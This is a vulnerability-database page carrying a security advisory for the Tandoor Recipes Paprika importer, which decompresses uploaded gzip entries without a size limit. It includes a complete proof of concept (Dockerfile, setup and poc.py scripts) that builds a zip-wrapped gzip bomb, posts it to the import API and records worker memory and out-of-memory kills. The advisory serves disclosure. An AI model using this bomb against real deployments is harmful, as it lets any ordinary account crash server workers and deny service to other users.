Vulnerability DatabaseGHSA-7gg4-cm2v-2p42

GHSA-7gg4-cm2v-2p42: 
Python vulnerability analysis and mitigation

Summary

The Paprika importer reads every recipe in an uploaded zip with gzip.open(file).read().decode("utf-8") (cookbook/integration/paprika.py:20-22), which holds the whole decompressed data in memory twice. The zip checks only see the entry's size inside the zip (10 MiB per entry), so a stored entry that is itself a gzip stream of zeros passes them and expands about 1000 times. We confirmed this on the latest develop with the gunicorn options of boot.sh (3 workers, 2 threads), as a member of the user group. A 1.5 MB zip (1,536 MiB after decompression) made one worker grow from 294 MB to 3,113 MB before the import failed on the invalid JSON; with a 3 GB memory limit the same upload got the worker killed by the out-of-memory killer within a second. The import endpoint returns 200 at once because the import runs in a background thread of the worker.

Details

Tested on develop at commit cbb96e151fe0c57c16a4456fe1bd04230b1c1e5c (2026-10-27, release 2.7.2 plus one merge commit). The affected code is the same in 2.7.2. POST /api/import/ (AppImportView.post, cookbook/views/api.py:3065, permission_classes = [CustomIsUser & CustomTokenHasReadWriteScope] at :3062) reads the uploaded files into memory and runs integration.do_import in a background thread (:3079-3080). For a .zip, do_import (cookbook/integration/integration.py:140) opens it with get_zip_file (:178) and passes each entry to the importer (:220):

recipe = self.get_recipe_from_file(BytesIO(self.safe_read(import_zip, z.filename)))

Paprika.get_recipe_from_file (cookbook/integration/paprika.py:20-22):

def get_recipe_from_file(self, file):
    with gzip.open(file, 'r') as recipe_zip:
        recipe_json = json.loads(recipe_zip.read().decode("utf-8"))
  • read() returns the whole decompressed stream as one bytes object and decode("utf-8") makes a second copy of the same size, so the worker can need up to about twice the decompressed size (we measured 1.0 to 1.8 times; the 0.1 s sampling may miss the peak).
  • get_zip_file (:59-72) and safe_read (:74-94) limit the declared size of each entry inside the zip (MAX_ZIP_FILE_SIZE, 10 MiB), their sum (MAX_ZIP_TOTAL_SIZE, 500 MiB) and their number (MAX_ZIP_FILE_COUNT, 2000) (recipes/settings.py:139-142). For a stored entry the declared size is the size of the gzip stream, not of what it expands to.
  • In our bomb, zeros compressed with gzip level 9 expanded 1,029 times (1,565,468 bytes to 1,536 MiB). A 10 MiB entry would therefore decompress to about 10 GiB and need about 20 GiB in the worker (calculated, not run).

Proof of concept

poc/ runs Tandoor from the checkout with SQLite and gunicorn with the options of boot.sh (3 workers, 2 threads, timeout 30), in a container without network. setup_app.py creates a space and a member of the user group with an OAuth2 token (read write). poc.py, with that token:

  1. imports a one-recipe Paprika zip (baseline);
  2. builds a zip with one stored entry, a gzip stream of BOMB_MB MiB of zeros, and posts it to POST /api/import/ with type=PAPRIKA;
  3. samples every worker's VmRSS from /proc until the import ends or a worker disappears, sending GET /api/import-log/ every 0.5 seconds meanwhile, and reads the cgroup's oom_kill counter.

BOMB_MB=512, no memory limit:

BASELINE_STATUS 200
BASELINE_IMPORTED_RECIPES 1 RUNNING False
BOMB_ZIP_BYTES 521978 GZIP_BYTES 521844 DECOMPRESSED_MB 512 CGROUP_MEMORY_LIMIT_MB 3072
WORKERS 3 IDLE_RSS_MB [282, 291, 294]
BOMB_STATUS 200
PEAK_RSS_MB_PER_WORKER [291, 294, 808] (largest: worker 15)
ELAPSED_SECONDS 0.5
WORKERS_GONE []
IMPORT_FINISHED True IMPORTED 0 MSG ' \nERROR IMPORTING bomb.paprikarecipe\nExpecting value: line 1 column 1 (char 0)\n--------------------\nImported 0 recipes.\n'
OOM_KILL_EVENTS before=0 after=0
IMPORT_LOG_AT_END running=False total_recipes=1 imported_recipes=0
PROBES 2 FAILED_OR_SLOW 0 []
WORKERS_AFTER 3

BOMB_MB=1536, no memory limit:

BOMB_ZIP_BYTES 1565602 GZIP_BYTES 1565468 DECOMPRESSED_MB 1536 CGROUP_MEMORY_LIMIT_MB 3072
WORKERS 3 IDLE_RSS_MB [285, 294, 296]
PEAK_RSS_MB_PER_WORKER [294, 294, 3113] (largest: worker 14)
ELAPSED_SECONDS 1.7
IMPORT_FINISHED True IMPORTED 0 MSG ' \nERROR IMPORTING bomb.paprikarecipe\nExpecting value: line 1 column 1 (char 0)\n--------------------\nImported 0 recipes.\n'
OOM_KILL_EVENTS before=0 after=0

BOMB_MB=1536 with --memory 3g --memory-swap 3g:

BASELINE_STATUS 200
BASELINE_IMPORTED_RECIPES 1 RUNNING False
BOMB_ZIP_BYTES 1565602 GZIP_BYTES 1565468 DECOMPRESSED_MB 1536 CGROUP_MEMORY_LIMIT_MB 3072
WORKERS 3 IDLE_RSS_MB [285, 294, 296]
BOMB_STATUS 200
PEAK_RSS_MB_PER_WORKER [285, 294, 2421] (largest: worker 14)
ELAPSED_SECONDS 0.8
WORKERS_GONE [14]
IMPORT_FINISHED False
OOM_KILL_EVENTS before=0 after=1
IMPORT_LOG_AT_END running=True total_recipes=0 imported_recipes=0
PROBES 2 FAILED_OR_SLOW 0 []
WORKERS_AFTER 3
[2026-11-07 02:41:14 +0000] [12] [ERROR] Worker (pid:14) was sent SIGKILL! Perhaps out of memory?

Gunicorn restarted the killed worker; the import log stays at running=True.

Reproducing

Save the files below into a directory poc/, then:

git clone https://github.com/TandoorRecipes/recipes.git && git -C recipes checkout cbb96e151fe0c57c16a4456fe1bd04230b1c1e5c
docker build --build-context target=./recipes -t recipes-poc poc/
docker run --rm --network none -e BOMB_MB=1536 recipes-poc
docker run --rm --network none -e BOMB_MB=1536 --memory 3g --memory-swap 3g recipes-poc

<details><summary><code>poc/Dockerfile</code></summary>

FROM python:3.14-slim
ENV PYTHONUNBUFFERED=1 \
    DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
        build-essential pkg-config libldap-dev libsasl2-dev \
        libxml2-dev libxslt1-dev libxmlsec1-dev libffi-dev libssl-dev curl \
    && rm -rf /var/lib/apt/lists/*
WORKDIR /target
COPY --from=target requirements.txt ./
RUN sed -i '/# Development/,$d' requirements.txt
RUN python -m venv /venv && \
    /venv/bin/pip install --upgrade pip && \
    /venv/bin/pip install -r requirements.txt --no-cache-dir
COPY --from=target . ./
RUN rm -rf .git && mkdir -p /target/staticfiles /target/mediafiles
COPY run.sh setup_app.py poc.py /target/
RUN chmod +x /target/run.sh
EXPOSE 8000
CMD ["/target/run.sh"]

</details> <details><summary><code>poc/run.sh</code></summary>

#!/bin/sh
set -u
cd /target
export PYTHONUNBUFFERED=1
export SECRET_KEY="${SECRET_KEY:-poc-secret-key-not-production}"
export ALLOWED_HOSTS="${ALLOWED_HOSTS:-127.0.0.1,localhost}"
export DATABASE_URL="${DATABASE_URL:-sqlite://localhost//tmp/db.sqlite3}"
export DEBUG="${DEBUG:-0}"
export STATIC_ROOT="${STATIC_ROOT:-/target/staticfiles}"
export MEDIA_ROOT="${MEDIA_ROOT:-/target/mediafiles}"
echo "[run] migrate"
if ! /venv/bin/python manage.py migrate --noinput >/tmp/migrate.log 2>&1; then
    tail -100 /tmp/migrate.log
    exit 1
fi
echo "[run] setup user"
if ! /venv/bin/python setup_app.py >/tmp/setup.log 2>&1; then
    tail -100 /tmp/setup.log
    exit 1
fi
echo "[run] starting gunicorn"
/venv/bin/gunicorn \
    --chdir /target \
    --bind 127.0.0.1:8000 \
    --workers "${GUNICORN_WORKERS:-3}" \
    --threads 2 \
    --timeout 30 \
    --pid /tmp/gunicorn.pid \
    --access-logfile /tmp/access.log \
    --error-logfile /tmp/gunicorn.log \
    --log-level info \
    recipes.wsgi:application >/tmp/gunicorn-console.log 2>&1 &
GUNICORN_PID=$!
echo "$GUNICORN_PID" > /tmp/gunicorn.pid
echo "[run] waiting for gunicorn"
/venv/bin/python - <<'PY'
import socket, time
for _ in range(120):
    try:
        s = socket.create_connection(('127.0.0.1', 8000), timeout=1)
        s.close()
        break
    except OSError:
        time.sleep(0.5)
else:
    raise SystemExit('gunicorn did not start')
print('gunicorn ready')
PY
echo "[run] executing poc"
/venv/bin/python poc.py
RC=$?
echo "[run] gunicorn arbiter log (worker lifecycle lines)"
grep -E 'Worker|worker|Booting|OOM|SIGKILL|out of memory|exited' /tmp/gunicorn.log | tail -20 || true
exit $RC

</details> <details><summary><code>poc/setup_app.py</code></summary>

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'recipes.settings')
import django
django.setup()
from django.contrib.auth.models import Group, User
from django.utils import timezone
from django_scopes import scopes_disabled
from oauth2_provider.models import AccessToken
from cookbook.models import Space, UserSpace
with scopes_disabled():
    user, _ = User.objects.get_or_create(username='attacker')
    user.set_password('poc-pass')
    user.is_staff = False
    user.is_superuser = False
    user.save()
    user_group, _ = Group.objects.get_or_create(name='user')
    space, _ = Space.objects.get_or_create(name='poc-space', defaults={'created_by': user})
    if space.created_by_id is None:
        space.created_by = user
        space.save(update_fields=['created_by'])
    us, _ = UserSpace.objects.get_or_create(user=user, space=space)
    us.active = True
    us.save(update_fields=['active'])
    us.groups.set([user_group])
    token, _ = AccessToken.objects.get_or_create(
        user=user,
        token='poc-bearer-token',
        defaults={'scope': 'read write', 'expires': timezone.now() + timezone.timedelta(days=1)},
    )
    token.scope = 'read write'
    token.expires = timezone.now() + timezone.timedelta(days=1)
    token.save(update_fields=['scope', 'expires'])
print('setup complete')

</details> <details><summary><code>poc/poc.py</code></summary>

"""Paprika import: gzip entries are decompressed without a size limit.
The zip entry is stored (not deflated) and is a gzip stream of BOMB_MB MiB of
zeros, so the zip checks see only its compressed size.
"""
import gzip
import io
import json
import os
import sys
import time
import zipfile
import zlib
import requests
BASE = os.environ.get('BASE_URL', 'http://127.0.0.1:8000')
TOKEN = os.environ.get('POC_TOKEN', 'poc-bearer-token')
AUTH = {'Authorization': f'Bearer {TOKEN}'}
BOMB_MB = int(os.environ.get('BOMB_MB', '1536'))
def cgroup_memory_limit_mb():
    try:
        v = open('/sys/fs/cgroup/memory.max').read().strip()
        if v.isdigit() and int(v) > 0:
            return int(v) // (1024 * 1024)
    except OSError:
        pass
    return 3072
def read_oom_kill_events():
    path = '/sys/fs/cgroup/memory.events'
    try:
        for line in open(path):
            if line.startswith('oom_kill '):
                return int(line.split()[1])
    except OSError:
        pass
    return None
def wait_ready(timeout=60):
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(BASE + '/api/import-log/', headers=AUTH, timeout=3)
            if r.status_code in (200, 401, 403):
                return
        except requests.RequestException:
            pass
        time.sleep(0.5)
    raise SystemExit('server did not become ready')
def make_paprika_zip(recipe):
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as z:
        z.writestr('recipe.paprikarecipe', gzip.compress(json.dumps(recipe).encode('utf-8')))
    return buf.getvalue()
def make_baseline_zip():
    return make_paprika_zip({
        'name': 'Baseline Recipe', 'description': '', 'servings': '1', 'cook_time': '0', 'prep_time': '0',
        'directions': 'do stuff', 'notes': '', 'nutritional_info': '', 'source': '', 'source_url': '',
        'ingredients': 'salt\npepper', 'categories': [], 'photo_data': None, 'image_url': None,
    })
def make_gzip_bomb(total_bytes):
    """A stored zip entry holding a gzip stream that decompresses to total_bytes zeros."""
    chunk = b'\x00' * (1024 * 1024)
    co = zlib.compressobj(level=9, wbits=31)
    out = []
    remaining = total_bytes
    while remaining > 0:
        n = min(len(chunk), remaining)
        out.append(co.compress(chunk[:n]))
        remaining -= n
    out.append(co.flush())
    gz = b''.join(out)
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as z:
        z.writestr('bomb.paprikarecipe', gz)
    return buf.getvalue(), len(gz)
def upload_zip(name, content):
    return requests.post(
        BASE + '/api/import/',
        data={'type': 'PAPRIKA'},
        files={'files': (name, content, 'application/zip')},
        headers=AUTH,
        timeout=60,
    )
def wait_import_done(import_id, timeout=30):
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(f'{BASE}/api/import-log/{import_id}/', headers=AUTH, timeout=3)
            if r.status_code == 200:
                j = r.json()
                if not j.get('running'):
                    return j
        except requests.RequestException:
            pass
        time.sleep(0.2)
    return None
def master_pid():
    try:
        return int(open('/tmp/gunicorn.pid').read().strip())
    except Exception:
        return None
def children_of(pid):
    out = []
    for dent in os.listdir('/proc'):
        if not dent.isdigit():
            continue
        try:
            stat = open(f'/proc/{dent}/stat').read()
            rest = stat.split(') ', 1)[1]
            ppid = int(rest.split()[1])
        except Exception:
            continue
        if ppid == pid:
            out.append(int(dent))
    return out
def rss_of(pid):
    vmrss = 0
    vmhwm = 0
    try:
        for line in open(f'/proc/{pid}/status'):
            if line.startswith('VmRSS:'):
                vmrss = int(line.split()[1])
            elif line.startswith('VmHWM:'):
                vmhwm = int(line.split()[1])
    except Exception:
        pass
    return vmrss, vmhwm
def main():
    wait_ready()
    # Baseline: a normal Cookmate import through the same authenticated endpoint.
    base_name = 'baseline.zip'
    r = upload_zip(base_name, make_baseline_zip())
    print(f'BASELINE_STATUS {r.status_code}')
    if r.status_code != 200:
        print(r.text[:500])
        return 1
    base_import_id = r.json().get('import_id')
    print(f'BASELINE_IMPORT_ID {base_import_id}')
    base_log = wait_import_done(base_import_id)
    if base_log is not None:
        print(f'BASELINE_IMPORTED_RECIPES {base_log.get("imported_recipes")} RUNNING {base_log.get("running")}')
    else:
        print('BASELINE_IMPORT_TIMEOUT')
    mp = master_pid()
    if mp is None:
        print('MASTER_PID_MISSING')
        return 1
    limit_mb = cgroup_memory_limit_mb()
    bomb, gz_size = make_gzip_bomb(BOMB_MB * 1024 * 1024)
    print(f'BOMB_ZIP_BYTES {len(bomb)} GZIP_BYTES {gz_size} DECOMPRESSED_MB {BOMB_MB} CGROUP_MEMORY_LIMIT_MB {limit_mb}')
    workers = children_of(mp)
    idle = {p: rss_of(p)[0] // 1024 for p in workers}
    print(f'WORKERS {len(workers)} IDLE_RSS_MB {sorted(idle.values())}')
    oom_before = read_oom_kill_events()
    # The endpoint returns immediately after starting the import thread, so the
    # memory growth happens in a gunicorn worker after this response.
    r = upload_zip('bomb.zip', bomb)
    print(f'BOMB_STATUS {r.status_code}')
    if r.status_code != 200:
        print(r.text[:500])
        return 1
    bomb_import_id = r.json().get('import_id')
    # Watch every worker until the import ends or a worker disappears, while
    # another request is sent every 0.5 s.
    peak = {p: 0 for p in workers}
    probes = []
    t0 = time.time()
    log = None
    next_probe = 0.0
    while time.time() - t0 < 240:
        for p in workers:
            peak[p] = max(peak[p], rss_of(p)[0] // 1024)
        gone = [p for p in workers if not os.path.exists(f'/proc/{p}')]
        if time.time() >= next_probe:
            s = time.time()
            try:
                code = requests.get(BASE + '/api/import-log/', headers=AUTH, timeout=30).status_code
            except requests.RequestException as exc:
                code = type(exc).__name__
            probes.append((round(s - t0, 1), code, round(time.time() - s, 2)))
            next_probe = time.time() + 0.5
            try:
                j = requests.get(f'{BASE}/api/import-log/{bomb_import_id}/', headers=AUTH, timeout=30).json()
                if not j.get('running'):
                    log = j
            except Exception:
                pass
        if gone or log is not None:
            break
        time.sleep(0.1)
    elapsed = time.time() - t0
    time.sleep(3)
    oom_after = read_oom_kill_events()
    target = max(peak, key=peak.get)
    print(f'PEAK_RSS_MB_PER_WORKER {sorted(peak.values())} (largest: worker {target})')
    print(f'ELAPSED_SECONDS {elapsed:.1f}')
    print(f'WORKERS_GONE {gone}')
    print(f'IMPORT_FINISHED {log is not None}' + (f' IMPORTED {log.get("imported_recipes")} MSG {str(log.get("msg"))[-120:]!r}' if log else ''))
    print(f'OOM_KILL_EVENTS before={oom_before} after={oom_after}')
    try:
        j = requests.get(f'{BASE}/api/import-log/{bomb_import_id}/', headers=AUTH, timeout=30).json()
        print(f'IMPORT_LOG_AT_END running={j.get("running")} total_recipes={j.get("total_recipes")} imported_recipes={j.get("imported_recipes")}')
    except Exception as exc:
        print(f'IMPORT_LOG_AT_END error={type(exc).__name__}')
    bad = [x for x in probes if x[1] != 200 or x[2] > 2]
    print(f'PROBES {len(probes)} FAILED_OR_SLOW {len(bad)} {bad[:10]}')
    new_workers = children_of(mp)
    print(f'WORKERS_AFTER {len(new_workers)}')
    return 0
if __name__ == '__main__':
    sys.exit(main())

</details>

Impact

Any member of the user group can make a gunicorn worker allocate memory far out of proportion to the upload: in our runs a worker grew by 517 MB for a 0.5 MB zip and by 2.8 GB (to 3.1 GB) for a 1.5 MB zip. With a 3 GB limit the worker was OOM-killed within a second, which also drops the other requests that worker was serving. Gunicorn restarts the worker, and the attacker can upload again. On a host without a memory limit the memory is taken from the rest of the system instead (not measured). There is no confidentiality or integrity impact. Preconditions: an account in the user group of a space (with a read/write token, or a session). If you agree with this report, we would appreciate it if a CVE ID could be requested for the advisory when it is published.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hrfr-7729-443mCRITICAL9.1
  • Python logoPython
  • libp2p
NoNoNov 15, 2026
GHSA-p93c-6m6f-h588MEDIUM6.5
  • Python logoPython
  • recipes
NoNoNov 15, 2026
GHSA-7gg4-cm2v-2p42MEDIUM6.5
  • Python logoPython
  • recipes
NoNoNov 15, 2026
GHSA-4crj-r7q3-qxhwMEDIUM5.4
  • Python logoPython
  • recipes
NoNoNov 15, 2026
GHSA-c34j-hcg4-386mMEDIUM4.3
  • Python logoPython
  • recipes
NoNoNov 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management